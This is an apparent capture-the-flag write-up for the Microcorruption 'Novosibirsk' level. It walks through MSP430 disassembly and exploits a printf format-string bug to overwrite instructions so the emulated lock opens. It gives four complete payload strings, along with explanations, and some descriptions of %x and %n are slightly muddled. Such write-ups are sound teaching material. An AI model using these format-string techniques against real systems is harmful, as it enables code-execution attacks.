I did this one after Addis Ababa, full of excitement from my recently gained string format bug powers. It took a lot of trail and error, but I finally solved this level.
However, I looked at the Novosibirsk rankings and noticed that a lot of folks did it in far, far fewer bytes than I did. So, this post will show the kind of clunky solution that I first came up with, and then how to do it “the smart way”.
Release Notes
There’s nothing too interesting going on here. We’re only asking for a username, but the release notes say that:
We have improved the security of the lock by ensuring passwords can not be too long.
¯\_(ツ)_/¯¯
Novosibirsk Software
Again, nothing too interesting going on here. We’ve got main, which looks like this:
4438 <main>
4438: 0441 mov sp, r4
443a: 2453 incd r4
443c: 3150 0cfe add #0xfe0c, sp
4440: 3012 da44 push #0x44da "Enter your username below to authenticate.\n"
4444: b012 c645 call #0x45c6 <printf>
4448: b140 0645 0000 mov #0x4506 ">> ", 0x0(sp)
444e: b012 c645 call #0x45c6 <printf>
4452: 2153 incd sp
4454: 3e40 f401 mov #0x1f4, r14
4458: 3f40 0024 mov #0x2400, r15
445c: b012 8a45 call #0x458a <getsn>
4460: 3e40 0024 mov #0x2400, r14
4464: 0f44 mov r4, r15
4466: 3f50 0afe add #0xfe0a, r15
446a: b012 dc46 call #0x46dc <strcpy>
446e: 3f40 0afe mov #0xfe0a, r15
4472: 0f54 add r4, r15
4474: 0f12 push r15
4476: b012 c645 call #0x45c6 <printf>
447a: 2153 incd sp
447c: 3f40 0a00 mov #0xa, r15
4480: b012 4e45 call #0x454e <putchar>
4484: 0f44 mov r4, r15
4486: 3f50 0afe add #0xfe0a, r15
448a: b012 b044 call #0x44b0 <conditional_unlock_door>
448e: 0f93 tst r15
4490: 0324 jz #0x4498 <main+0x60>
4492: 3012 0a45 push #0x450a "Access Granted!"
4496: 023c jmp #0x449c <main+0x64>
4498: 3012 1a45 push #0x451a "That username is not valid."
449c: b012 c645 call #0x45c6 <printf>
44a0: 0f43 clr r15
44a2: 3150 f601 add #0x1f6, sp
There’s a bunch of printfs. The one at 0x4476 looks to be the one that prints up our input, so we’ll want to focus on that.
There’s also a call to conditional_unlock_door:
First Attempt(s)
This time, we printf before we call the conditional_unlock_door function. We can see on line 0x4454 that we’re allowing for a very large number of chars to be accepted, by sending 0x1f4 as a parameter to the gets function.
4454: 3e40 f401 mov #0x1f4, r14
4458: 3f40 0024 mov #0x2400, r15
445c: b012 8a45 call #0x458a <getsn>
So, we have leeway to enter in a giant username (that will then be printed), but what can we do with that? Overwrite something? (prolly)
In the Whitehorse and Montevideo levels, we also had a conditional unlock function. There, we used a buffer overflow to jump to the interrupt, and overwrite it with a different kind of code.
In this level, there is no return at the end of main that would let us repeat that strategy (use a buffer overflow to reroute the program flow). So instead, I expect that we’ll have to take advantage of the printf and use some string format magic, like in the Addis Ababa level.
If we take another look at the conditional unlock function, we see that a value is read into 0x4206 (or -0x4(r4)).
Then later in the function, this is the return value that is passed into r15 and examined later.
44ce: 5f44 fcff mov.b -0x4(r4), r15
I’m not really sure why I thought this would work, but I guess it was some extra printf string format practice for me. 😅 Even if we could get that r15 value overwritten, it would just print up that we were successful, without actually unlocking the door. Siiiigh.
I should have taken better notes at this point (it was before the holidays, and then I got sidetracked from writing a blog post until after New Years). Just know that there was a lot of flailing and dead ends. None of the values I wanted to overwrite either were overwritable, or they didn’t stay overwritten, or they didn’t get me closer to my goal.
It’s assembler, Jim
Finally, I had the idea to use the assembler tool. Instead of overwriting a value, could I overwrite instructions, and replace it with my own instruction?
Rather than stick with the 0x7E (conditional) interrupt type, what if we could switch it to an unconditional, 0x7F interrupt type by overwriting the instruction itself, rather than a variable that contains 7E (like we have done in previous levels)?
If we look at this line:
44c6: 3012 7e00 push #0x7e
We can dump the 3012 7e00 in the assembler, hit Disassemble and see that it returns push #0x7e. If we change this slightly and say 3012 7e00 we see that, as expected, that pushes 0x7f instead.
Can we use a string format vulnerability + printf to overwrite that part of memory so the instruction pushes 7f instead of 7e?
The location of that assembly starts at 0x44c6, and the part we want to overwrite is at 0x44c8.
As in the last level, we want to use %x%n at the end of the string. In hex, that is 2578256e. Why %x and %n?
The %x lets us read information from the stack. Then, %x lets us write the number of characters thus far into the address that we specified.
In short, the strategy is: 0x7f bytes’ worth of characters in total, with the 2578256e (four bytes) at the end. We want to make sure that the %x reads the address we want to overwrite (0x44c8).
The structure of our attack string is then:
- 0x7b worth of
0x44c8rewritten with endianness considered, orc844. - Since 0x7b is an odd number, we’ll pad a
0x20(or space) at the end. - Then, %x%n, written as
2578256e.
The resulting monstrosity of an attack string is:
c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844202578256e
If we set a breakpoint at 0x46b0 in the printf function, and step a few times, we can see that our address of 0x44c8 is correctly loaded, and the value 0x7f will be written there:
Then, if we set a breakpoint in the conditional_unlock_door function, we see that our target line was overwritten.
If you let the program continue running, the door will be unlocked. Yay!
The Smart Way
Of course, once I unlocked the door, I checked the level rankings and saw that my input of 131 bytes was reaaaally bad compared to the winning length of 5 bytes. What the hell??
There were also a number of answers at 8 bytes. While I was happy to have beaten this level, I wanted to beat it… better. So I started reading and found this post. Normally, I’d want to struggle through the problem on my own, but with the holidays, that didn’t really happen. I think there’s still value in walking through other people’s solutions, so that’s what I’ll do here.
12 Bytes
The original poster of the Reddit question said that they had a string of 12 bytes. This was their answer:
d644256e1e530e12b0123645
What’s going on here, and why does it work?
We can see from the 256e (%n) that they’re using a string input vulnerability. The previous 4 bytes are d644 which is likely the address we’re trying to overwrite, or 0x44d6.
As for the rest of it, they said that they’re overwriting a pop instruction to return somewhere else (not unlike other times that we’ve had to reroute the program flow).
0x44d6 is a line in the conditional_unlock_door function and previously contained:
44d6: 3441 pop r4
If we throw the rest of the 12-byte input into the disassembler tool, we get:
Increment r14 (from 0x7e to 0x7f), push it onto the stack, and then call 0x4536, which is our interrupt function. At this point in the conditional_unlock_door function, we’ve already called the interrupt and failed. This will cause us to call the interrupt again, this time unconditionally.
When I was doing this challenge the clunky way, I thought that I only had one byte’s worth of change that I could make. This approach shows that you have more than that, because you end up executing code in the 0x2400 block (where user input is stored):
How did we end up here? We can set a breakpoint around 0x46b0 in the printf function and see that we overwrite the value of 0x44d6. It is overwritten with a value of 0x02, since there were 2 bytes preceding the %x.
In other words, we went from:
44d0: fcff 8f11 3152 3441 3041 456e 7465 7220
To:
44d0: fcff 8f11 3152 0200 3041 456e 7465 7220
Then, when we get to the conditional_unlock_door function, we see there is an overwritten line. When we step to it, it (0x0200) is interpreted as: rrc sr.
This appears not to do anything (we can step again to the ret line). Our program gets off into the weeds, then the program counter and stack pointer can both be found in the 0x2400 block, as shown above.
OP says “Just by dumb luck, it eventually ends up returning to r4, which is right before the stack, and runs the string.”
Let’s see if we can find a better way.
8 Bytes
Another user says they got an eight byte solution by “taking advantage of garbage data” at the end of the program, in the 0xff80 to 0xffff range.
Their solution was:
83ffc8442573256e
We can see once again that it’s a string format vulnerability. The last 4 bytes 2573256e are the hex representation of %s%n
The previous 4 bytes are presumably addresses that we want to use… 0xff83 (unaligned addr?) and 0x44c8.
If set some breakpoints in the printf function (after we have found a 0x6e value), we can see that the value of 0x7f is being loaded into 0x44c8, which is what I did with my solution, but in much less elegant way.
If we run the program, we’ll see that this line is overwritten to push 0x7f , just as my solution did:
44c6: 3012 7e00 push #0x7e
How does the value of 0x7f get into the right place for this attack to work? Stepping through once again with the printf function, we can see that the %s is doing a lot of work here. We start reading at address 0xff83 and read until we find a 00. In other words, this answer is reading 7f bytes of nonsense (and printing it up), then when we get to our %n string, we load that value of 0x7f into the address specified (0x44c8). Much cleaner, and shorter, than my answer.
5 Bytes
Lastly, let’s see how the 5 byte solution worked.
5245256e7f
Again, some kind of string format attack (256e -> %x), what is presumably an address of 4552, and the value 0x7f.
As the user describes, you need two bytes for the %x instruction, and two bytes to provide the address.
If you want to increase the counter to 0x7f, as in the 12 byte answer, you need more bytes. So, all we can do here is write 0x02 somewhere, which will result in an instruction of 0x0200, or rrc sr as we saw earlier.
In that earlier solution, it appeared to be a nop, which the user confirms in their post.
Their approach is to find an instruction to cancel, rather than one to change. So what do they cancel? Clearly, the instruction at 0x4552, which is the first two bytes of their answer. 0x4552 is an instruction in the putchar function, which is frequently called from the printf function.
4552: 0312 push #0x0
The user said:
I realized that the value immediately following the 0x0 pushed by the function at address 4522 was the last byte of my input.
After the 6e byte is read in, we then print out 7f, which means we need to call the putchar function. We can see that the expected line has been overwritten:
At this point, r15 is still 0x7f because we juuust processed that byte in the printf function. So, r15 (which is 0x7f) gets pushed onto the stack (into address 0x41f0). Additionally, it gets moved into an address 4 bytes after the stack pointer. Then, we call the interrupt function.
We get a value from 2 bytes after the stack pointer, and move that into r14 (which gets moved into r15, which then determines the type of interrupt). Happily, we have 0x7f in that location because of our “push r15 onto the stack” instruction, so we’ll trigger an unconditional unlock interrupt. Woo!
Novosibirsk Solutions
To recap, there are (at least) 4 different approaches. All take advantage of the string format vulnerability in printf to either rewrite an instruction or skip an instruction, with the end goal of triggering a 0x7f type interrupt.
In order, the answers are:
- 131 byte solution:
c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844202578256e - 12 byte solution:
d644256e1e530e12b0123645 - 8 byte solution:
83ffc8442573256e - 5 byte solution:
5245256e7f
Type solve and then enter a solution of your choice to complete this level. : )